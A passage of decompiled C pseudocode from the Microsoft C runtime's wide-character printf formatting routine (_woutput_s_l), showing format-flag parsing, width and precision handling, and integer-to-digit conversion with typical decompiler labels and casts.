					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									if(_t623 == 0) {
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											if(_t625 == 0) {
												_t485 = E00428310(_t674 + 0x14);
												_t677 = _t676 + 4;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E00428310(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											if(_t671 == 0) {
												_t559 = E00428310(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E00428310(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E00428330(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E00428330(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00430740(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E004307C0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *((intOrPtr*)(_t674 - 0x24)) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										if(( *(_t674 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t674 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t674 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) = 0x30;
											 *((intOrPtr*)(_t674 - 0x24)) =  *((intOrPtr*)(_t674 - 0x24)) + 1;
										}
										L187:
										while(1) {
											L187:
											while(1) {
												L187:
												while(1) {
													L187:
													while(1) {
														L187:
														while(1) {
															L187:
															while(1) {
																L187:
																while(1) {
																	do {
																		L187:
																		if( *((intOrPtr*)(_t674 - 0x28)) != 0) {
																			L212:
																			if( *(_t674 - 0x20) != 0) {
																				L0041C4F0( *(_t674 - 0x20), 2);
																				_t677 = _t677 + 8;
																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C934))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043CA40( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43c96c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C954))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428310(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43c994; // 0xc1a19003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C980))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E330();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E20(_t588))) = 0x16;
																						E00422BB0(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041ADD0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BC70(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E330();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041ADD0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422E20(_t580))) = 0x16;
																				E00422BB0(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041ADD0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043CAA0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043CAE0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043CAA0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043CAE0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041AE00(_t674 - 0x40);
																				_t541 = E0043B540(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE00(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E0043CA40( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E0043CAA0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x43ca00; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C9C4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428310(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B870( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE00(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf9b80f80
																					E00424670(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE00(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xfe6faf80
																						E00424670(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE00(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xfe6d6f80
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDD0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428310(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE00(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE00(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B540(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428310(__ebp + 0x14);
																			if(E00433EC0() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
